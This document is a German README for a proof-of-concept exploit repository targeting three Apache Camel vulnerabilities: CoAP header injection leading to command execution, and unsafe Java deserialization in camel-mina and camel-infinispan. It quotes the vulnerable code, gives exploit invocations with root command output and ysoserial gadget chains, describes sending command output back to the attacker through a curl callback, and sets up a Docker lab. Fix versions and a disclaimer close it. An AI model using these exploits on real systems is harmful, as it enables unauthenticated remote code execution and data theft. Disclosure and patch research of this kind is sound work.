
Stellt funktionierende Proof-of-Concept-Exploits und detaillierte Analysen für drei kritische Apache-Camel-Schwachstellen bereit, einschließlich CoAP-Header-Injection und unsicherer Deserialisierung, die zu Remote-Code-Ausführung führt.
| CVE | Komponente | Typ | CVSS | Bewertung |
|---|
| CVE-2026-33453 | camel-coap | Header-Injection → RCE | 10.0 Kritisch | Ausnutzbar |
| CVE-2026-40473 | camel-mina | Unsichere Deserialisierung → RCE | 9.8 Kritisch | Ausnutzbar |
| CVE-2026-40858 | camel-infinispan | Unsichere Deserialisierung | 8.8 Hoch | Ausnutzbar |
Komponente: camel-coap — CamelCoapResource.java:103-109
CWE: CWE-915 (Unkontrollierte Modifikation von Objektattributen)
Behoben in: Camel 4.18.1 / 4.14.6
CamelCoapResource.handleRequest() mappt CoAP-URI-Abfrageparameter direkt in Camel-Exchange-Header über setHeader() ohne HeaderFilterStrategy. CoAPEndpoint erweitert DefaultEndpoint statt DefaultHeaderFilterStrategyEndpoint, sodass interne Header mit Camel*-Präfix von jedem nicht authentifizierten Client injiziert werden können.
Wenn die Route an camel-exec weiterleitet, überschreiben die angreiferkontrollierten Header CamelExecCommandExecutable und CamelExecCommandArgs den konfigurierten Befehl, wodurch eine vorauthentifizierte RCE über ein einzelnes UDP-Paket erreicht wird.
// CamelCoapResource.java:103-109 — KEIN HeaderFilterStrategy
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Antwort: 2.05
[+] Befehlsausgabe: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Befehlsausgabe: app bin boot dev etc home lib ...
Komponente: camel-mina — MinaConverter.java:60-63
CWE: CWE-502 (Deserialisierung nicht vertrauenswürdiger Daten)
Behoben in: Camel 4.18.2 / 4.14.6 / 4.20.0
MinaConverter.toObjectInput(IoBuffer) erstellt einen rohen java.io.ObjectInputStream ohne ObjectInputFilter. Wenn ein MINA-Endpunkt mit allowDefaultCodec=false konfiguriert ist, kommen rohe TCP-Daten als IoBuffer an und erreichen den Typkonverter von Camel, der diese Methode aufruft — wodurch angreiferkontrollierte Netzwerkbytes in einem ungefilterten ObjectInputStream verarbeitet werden.
// MinaConverter.java:60-63 — KEIN ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // angreiferkontrollierte Bytes, KEIN FILTER
}
Angriffspfad: Der Exploit zielt auf einen MINA-TCP-Endpunkt mit allowDefaultCodec=false (Port 9879 im PoC). Dies umgeht die Codec-Schicht von MINA vollständig — die ObjectSerializationCodecFactory verfügt über einen eigenen ClassNameMatcher-Allowlist, der andernfalls beliebige Klassen blockieren würde. Bei deaktiviertem Codec fließen rohe Bytes direkt zu MinaConverter.toObjectInput(), das einen Standard-ObjectInputStream ohne jegliche Klassenfilterung erstellt.
Eine CommonsCollections6-Gadget-Kette (über ysoserial) erreicht beliebige Befehlsausführung als root. Die Befehlsausgabe wird über einen curl-Callback an den Angreifer exfiltriert.

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Befehlsausgabe:
uid=0(root) gid=0(root) groups=0(root)
[+] BESTÄTIGT: CVE-2026-40473 RCE — Befehl über Deserialisierung ausgeführt
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Befehlsausgabe:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (CommonsCollections6-Gadget)cd poc/
docker compose up -d --build
Warten Sie, bis der Container gestartet ist, und überprüfen Sie dann:
docker logs vuln-camel-mina
Sie sollten Folgendes sehen:

[*] Verwundbarer MINA-Server gestartet
[*] Port 9877: transferExchange (Java-Deser)-Endpunkt
[*] Port 9878: Objektserialisierungs-Codec-Endpunkt
[*] Port 9879: Roher TCP (MinaConverter.toObjectInput)-Endpunkt
[*] Warte auf Verbindungen...
Port 9879 ist das Ziel — er verwendet allowDefaultCodec=false, wodurch der Codec-Filter von MINA deaktiviert wird und rohe IoBuffer den ungefilterten MinaConverter.toObjectInput() von Camel erreichen.
Überprüfen Sie zunächst, dass der Endpunkt beliebige Java-Objekte ohne ObjectInputFilter akzeptiert und deserialisiert:
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] Probe-Modus — Deserialisierung bestätigen (keine RCE)
[*] Payload: HashMap (82 Bytes, roh — kein MINA-Frame)
[+] Mit MINA-Endpunkt verbunden
[+] Payload gesendet
[+] Daten erreichten readObject() ohne Filterablehnung
Die Probe sendet eine serialisierte HashMap. Der Server deserialisiert sie über ObjectInputStream.readObject() ohne InvalidClassException — was eine vollständige Filterungslücke bestätigt.
Mit verfügbarem ysoserial nutzen Sie die ungefilterte Deserialisierung für beliebige Befehlsausführung:
# 'id' ausführen — gibt uid=0(root) zurück
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# Dateien lesen
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# Systeminformationen
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
Der Exploit generiert eine CommonsCollections6-Gadget-Kette, sendet sie als rohe Bytes an Port 9879 und erfasst die Befehlsausgabe über einen curl-Callback-Listener.
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PFAD] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
ziel [port] [befehl]
ziel Ziel-IP/Hostname
port MINA-TCP-Port (Standard: 9879)
befehl Auszuführender Befehl (Standard: id)
--ysoserial Pfad zu ysoserial.jar (automatisch erkannt, wenn nicht gesetzt)
--callback-host Host, den der Container erreicht, um Sie zu kontaktieren (Standard: host.docker.internal)
--gadget ysoserial-Gadget-Kette (Standard: auto — versucht CC6, CC5, CC1)
--probe Nur Probe-Modus — Deserialisierung ohne RCE bestätigen
--raw Rohe Payload ohne MINA-4-Byte-Frame senden (automatisch für Port 9879 aktiviert)
Hinweis: Der --callback-host ist standardmäßig host.docker.internal (Docker Desktop). Bei Linux ohne Docker Desktop verwenden Sie --callback-host 172.17.0.1 oder Ihre Docker-Bridge-IP.
cd poc/
docker compose down
Komponente: camel-infinispan — DefaultExchangeHolderUtils.java:46-53
CWE: CWE-502 (Deserialisierung nicht vertrauenswürdiger Daten)
Behoben in: Camel 4.18.2 / 4.14.7 / 4.20.0
DefaultExchangeHolderUtils.deserialize(byte[]) erstellt einen ClassLoadingAwareObjectInputStream ohne ObjectInputFilter. Der DefaultExchangeHolderProtoAdapter leitet Infinispan-Cache-Bytes direkt an diese Methode weiter. Ein Angreifer mit Cache-Schreibzugriff (Hot-Rod-Port 11222 oder REST-API) injiziert eine bösartige serialisierte Payload, die deserialisiert wird, wenn das Aggregations-Repository den Schlüssel abruft.
Dies ist dasselbe Schwachstellenmuster wie CVE-2024-22369, CVE-2024-23114 und CVE-2026-25747 — alle unbehobene Instanzen von readObject() ohne ObjectInputFilter in den Deserialisierungspfaden von Camel.
// DefaultExchangeHolderUtils.java:46-53 — KEIN ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
return (DefaultExchangeHolder) ois.readObject(); // angreiferkontrolliert
}
}


cd poc/
docker compose up -d --build
Dies startet:
vuln-camel-coap — CoAP-Endpunkt auf UDP-Port 5683 mit camel-exec-Routevuln-camel-mina — MINA-TCP-Endpunkte auf den Ports 9877 (transferExchange), 9878 (ObjectSerializationCodecFactory) und 9879 (roher TCP — primäres Angriffsziel)infinispan — Infinispan-Server auf Port 11222vuln-camel-infinispan — Camel-Aggregations-Repository mit Infinispan-Backend# CVE-2026-33453: CoAP-Header-Injection → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'
# CVE-2026-40473: MINA Unsichere Deserialisierung → RCE (siehe detaillierte Anweisungen oben)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# CVE-2026-40858: Infinispan Unsichere Deserialisierung
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222
cd poc/
docker compose down
Diese Bewertung wurde mit dem RAPTOR autonomen Sicherheitsforschungs-Framework durchgeführt:
camel-coap, camel-mina, camel-infinispan)/scan) — Automatisierte Schwachstellenerkennung über alle 3 Komponenten/understand --map) — Angriffsflächen-Mapping: Einstiegspunkte, Vertrauensgrenzen, Senken, ungeprüfte Datenflüsse/validate) — Vollständige 8-stufige Ausnutzbarkeits-Validierungspipeline (Stufen 0 → A → B → C → D → E → F → 1), die bestätigt, dass alle 3 Befunde real, erreichbar und ausnutzbar sind/exploit) — Entwicklung funktionierender PoCs mit Docker-basierter Testumgebung| CVE | Fix-Version | Änderung |
|---|---|---|
| CVE-2026-33453 | 4.18.1 / 4.14.6 | CoAPEndpoint → erweitert DefaultHeaderFilterStrategyEndpoint; CoAPComponent → implementiert HeaderFilterStrategyComponent |
| CVE-2026-40473 | 4.18.2 / 4.14.6 / 4.20.0 | ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") vor readObject() hinzugefügt |
| CVE-2026-40858 | 4.18.2 / 4.14.7 / 4.20.0 | ObjectInputFilter-Allowlist hinzugefügt (gleiches Muster); fällt auf JVM-Serialisierungsfilter zurück, falls konfiguriert |
Diese Forschung dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken. Alle Exploits wurden gegen lokal erstellte Docker-Container mit verwundbarer Software getestet. Aktualisieren Sie auf die oben aufgeführten Fix-Versionen.